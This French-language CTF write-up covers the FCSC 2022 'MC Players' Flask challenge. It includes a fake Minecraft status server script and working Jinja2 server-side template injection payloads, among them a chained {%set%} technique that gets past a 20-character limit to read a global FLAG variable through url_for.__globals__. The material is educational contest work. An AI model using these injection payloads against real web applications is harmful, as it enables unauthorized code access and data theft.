FCSC2022 - MC Players

7 minute read

FCSC 2022 - MC Players - Write-up

Énoncé

Cela fait plusieurs mois que le service de Dinnerbone permettant de récupérer

le statut d’un serveur Minecraft n’est plus actif. Nous avons donc décidé de proposer une alternative réutilisant sa librairie mcstatus.

https://mc-players.france-cybersecurity-challenge.fr/

Résolution

Ici on se retrouve face à une appli web en white-box, c’est-à-dire que nous avons le code source de l’application à notre disposition. Cette application est développée en python avec le framework flask. C’est une application qui permet de récupérer le statut d’un serveur minecraft. Elle affiche son nombre de joueurs maximal, nombre de joueurs en ligne, ainsi que les pseudos des joueurs. Elle utilise pour cela la librairie mcstatus, comme dit dans l’énoncé.

Ici, comme nous sommes face à du flask, on réduit grandement les possibilités d’exploitation. On se réfère notamment à notre objectif, qui va être de lire le flag disposé en constante globale comme ceci :

import re
import requests
from mcstatus import JavaServer
from flask import Flask, render_template, render_template_string, request


FLAG = requests.get('http://mc-players-flag:1337/').text

app = Flask(__name__, template_folder='./')
app.config['DEBUG'] = False

@app.route('/', methods=['GET', 'POST'])

Le problème ici, est que premièrement nous pouvons penser que nous devons RCE, afin de récupérer le flag en émettant une requête depuis le serveur web. Hors, nous avons le code de l’application exposée sur le port 1337. Voici le problème :

from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'FCSC{TEST_FLAG}')
        exit(0)

httpd = HTTPServer(('0.0.0.0', 1337), SimpleHTTPRequestHandler)
httpd.serve_forever()

Ici, cette application permet de desservir le flag à l’application flask, mais nous voyons le exit(0) qui va donc stopper le serveur, après avoir délivré le FLAG. Sur flask, il n’y a pas énormément de failles exploitables, hors erreurs du développeur, mais la plus commune est la SSTI (Server Side Template Injection) (https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection). Cette faille exploite les templates qui sont utilisés dans flask par exemple. Le but de l’attaquant va être d’envoyer des paramètres malicieux afin d’inclure sa propre template et pouvoir accéder à des objets ou bien même exécuter du code.

C’est cette vulnérabilité qui est présente dans le code. On la trouve rapidement à cet endroit :

    players = []
    if status.players.sample is not None:
        for player in status.players.sample:
            if re.match(r'\w*', player.name) and len(player.name) <= 20:
                players.append(player.name)


    html_player_list = f'''
        <br>
        <h3>{hostname} ({len(players)}/{status.players.max})</h3>
        <ul>
    '''
    for player in players:
        html_player_list += '<li>' + player + '</li>'
        print(player)
    html_player_list += '</ul>'
        

    results = render_template_string(html_player_list)
    return render_template('index.html', results=results)

Ici, c’est le code qui se charge d’afficher et de formater les données reçues du serveur minecraft distant. C’est au niveau du render_template_string qu’il manque un paramètre : **context. Ce paramètre permet d’éviter l’interprétation des inputs utilisateur. Ici, si nous contrôlons les noms des joueurs par exemple, nous pourons donc exécuter du code ou accéder à la variable FLAG.

Serveur Minecraft

Notre objectif est clair, il faut reproduire le comportement d’un serveur minecraft, afin d’envoyer des noms de joueurs malveillants, puis récupérer le FLAG. Pour cela, je suis parti sur l’utilisation de wireshark en regardant les données envoyées et reçues entre un serveur minecraft et le client mcstatus, l’idée est donc ensuite de reproduire ce comportement avec un faux serveur reproduisant le comportement d’un vrai serveur minecraft.

Pour cela, j’ai premièrement repris une image docker d’un serveur minecraft basique : https://github.com/itzg/docker-minecraft-server . On le lance et on utilise un script python utilisant la librairie avec de se connecter au serveur :

from mcstatus import JavaServer

hostname = 'localhost'
port = 25565

try:
    ms = JavaServer(hostname, port)
    status = ms.status()
except:
    print("error")

On lance une capture pcap avec tcpdump, lui on lance notre script : sudo tcpdump -i any -w capture_ex.pcap.

On observe la capture wireshark et on y apperçoit plusieurs phases. La première, le client mcstatus envoie de la data au serveur minecraft, (ici 002f096c6f63616c686f737463dd01), le serveur répond des données d’entête, ainsi q’un json contenant les informations du serveur, description, etc… Sur la capture on ne voit pas de joueurs car mon serveur local n’avait aucun joueurs. J’ai donc refais une capture avec un serveur en ligne, pour savoir le format des données des joueurs.

Voici le JSON basique répondu avec un joueur lambda :

{"description":{"text":"Description"},"players":{"max":20,"online":1,"sample":[{"id":"0","name":"test"}]},"version":{"name":"1.18.2","protocol":758}}

Il faudra respecter les types de données sinon mcclient retournera une erreur. Ensuite, un dernier paquet de data est envoyé, il suffit de renvoyer la même chose et la connexion TCP est terminée. Les données présentes avant le JSON comprennent la longueur de la data envoyée. Je ne vais pas rentrer dans les détails de l’entête mais de notre côté nous avons juste à légèrement adapter nos envoie d’informations en spécifiant la bonne longueur pour nos données.

Désormais, il nous reste donc à reproduire ce schéma de connexion dans un script python qui enverra le JSON que nous voulons.

Le voici :

import socket
import time

HOST = "192.168.1.12"
PORT = 55000
b = 0
c = 0
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        print(f"Connected by {addr}")
        while True:
            try:
                data = conn.recv(1024)
                print("recv data",data.hex())
                if not data:
                    break
                # envoie données
                if b == 0 and "002f0b38322e36362e35392e3731d6d8010100" in data.hex():
                    print("send infos")
                    send = bytearray.fromhex('') # on envoie entête + json ici
                    conn.sendall(send)
                    b = True
                    pass
                # coupure connexion
                if "0901" in data.hex():
                    print("Send : ",data.hex())
                    conn.sendall(data)
                time.sleep(1)
            except:
                time.sleep(1)
                pass

Ce n’est pas très élégant mais cela fait le travail.

On confirme la présence de la SSTI en envoyant un joueur avec pour nom {{7*7}}, qui est donc interprété par flask, il écrit donc 49 sur la page html. Voici la payload :

data = b'''{"description":{"text":""},"players":{"max":2,"online":1,"sample":[{"id":"0","name":"{{7*7}}"}]},"version":{"name":"1.18.2","protocol":758}}'''

On concatène ceci avec l’entête grâce un petit script, on place nos données sur notre serveur, on lance le script et on place notre IP en input sur le serveur web.

Parfait ! On obtient bien 49, il nous reste donc à exploiter la SSTI pour lire le FLAG.

SSTI - Lire le FLAG

Après être arrivé jusque-là, on peut se dire que c’est facile et que on va trouver rapidement où la variable flag est, hors cela n’a pas été mon cas. J’ai cherché énormément de write-up et ce chall est très spécifique, c’est le seul que j’ai vu qui place FLAG en variable constante du programme. La plupart des autres challenges place FLAG dans la config flask qui se récupère facilement avec l’injection {{config}} par exemple.

Deuxième point, nous sommes limités par une taille de 20 sur les noms des joueurs, nous allons donc devoir trouver un bypass, et même problème, aucun write-up vu sur internet n’aborde la technique que nous allons utiliser, cela rendait une nouvelle fois plus complexe l’exploitation.

En cherchant et en ne trouvant pas, le code de l’application m’a interpellé, en effet il y a cette fonction flag qui permet de récupérer le FLAG si notre IP est égale à 13.37.13.37 (:

@app.route('/flag', methods=['GET'])
def flag():
    if request.remote_addr != '13.37.13.37':
        return 'Unauthorized IP address: ' + request.remote_addr
    return FLAG

On voit bien qu’elle retourne FLAG. J’ai donc continué de manipuler ma SSTI avec différentes injections jusqu’à accéder aux variables de cette fonction. J’ai finalement réussi à trouver cette payload :

{{url_for.__globals__.current_app.view_functions.flag.__globals__.FLAG}}

En passant par url_for, en récupérant l’objet current_app, en allant voir la fonction flag et ses “globals”, on récupère la valeur de FLAG, c’est tout bon.

Il nous reste donc désormais à bypass le check de longueur car notre payload fait bien plus que 20 caractères. L’idée à donc été, en s’inspirant de ce write-up : http://www.andynoel.xyz/?p=244 , de passer par les variables de Flask. En effet, on peut set des variables grace à ce pattern : {%set x="Super_Variable"%} et on peut aussi directement y associer un objet : {%set b=url_for%}. L’idée va donc être de combiner plusieurs variables entre elles, puis d’appeler la variable finale sur notre injection classique avec “{{}}”.

Il nous reste un dernier problème, avec globals par exemple, nous n’avons pas assez de place, même avec la payload la plus courte possible pour le mettre. Mais nous avons la chance que url_for.__globals__ soit similaire à url_for['__globals__']. Et ceci va nous permettre de placer globals en string et nous pas en brute ce qui est était impossible pour nous. Voici donc la chaîne complète de la payload trouvée et exploitée grâce aux variables flask :

{%set b=url_for%}  
{%set c="globals"%} 
{%set d="__"%}       
{%set e=b[d~c~d]%}  // url_for.__globals__

{%set f="current"%}   
{%set g=f~"_app"%}  //  current_app

{%set h="view_fun"%}
{%set i=h~"ctions"%} // view_functions

{%set j="flag"%}

{%set k=e[g][i][j]%} 
{%set l=k[d~c~d]%} // url_for.__globals__.current_app.view_functions.flag

{{l.FLAG}} 

On crée donc un petit script qui va nous créer notre JSON avec chaque nom de joueurs correspondants, puis on place notre payload sur notre serveur. (Note : Les doubles quotes sont interdites dans le json renvoyé à mcstatus, on passe donc par des simples quotes. Un problème était présent au niveau de la longueur car notre payload était bien supérieure en longueur à notre première injection. Au niveau de l’entête avant le JSON, les données n’étaient pas bonnes, j’ai donc changé la description de mon serveur minecraft de test, afin de correspondre à la longueur de ma payload, pour regarder quelles données d’entêtes étaient envoyées. Il se trouve que le protocole à l’air de fonctionner avec des cycles de 0x00 à 0xff et des compteurs)

Voici donc notre json final :

data = b'''{"description":{"text":""},"players":{"max":2,"online":1,"sample":[{"id":"0","name":"{%set b=url_for%}"},{"id":"0","name":"{%set c='globals'%}"},{"id":"0","name":"{%set d='__'%}"},{"id":"0","name":"{%set e=b[d~c~d]%}"},{"id":"0","name":"{%set f='current'%}"},{"id":"0","name":"{%set g=f~'_app'%}"},{"id":"0","name":"{%set h='view_fun'%}"},{"id":"0","name":"{%set i=h~'ctions'%}"},{"id":"0","name":"{%set j='flag'%}"},{"id":"0","name":"{%set k=e[g][i][j]%}"},{"id":"0","name":"{%set l=k[d~c~d]%}"},{"id":"0","name":"{{l.FLAG}}"}]},"version":{"name":"1.18.2","protocol":758}}'''

On écoute sur notre serveur, on spécifie l’ip sur le challenge, et on récupère notre FLAG :)

FLAG : FCSC{4141f870d98724a3c32b138888e72c5de4e3c793fe1410e1e269d551ae3b3b0f}

Merci à l’auteur pour ce super challenge qui mellait analyse protocole réseau pour ma part et SSTI originale.

Liens utiles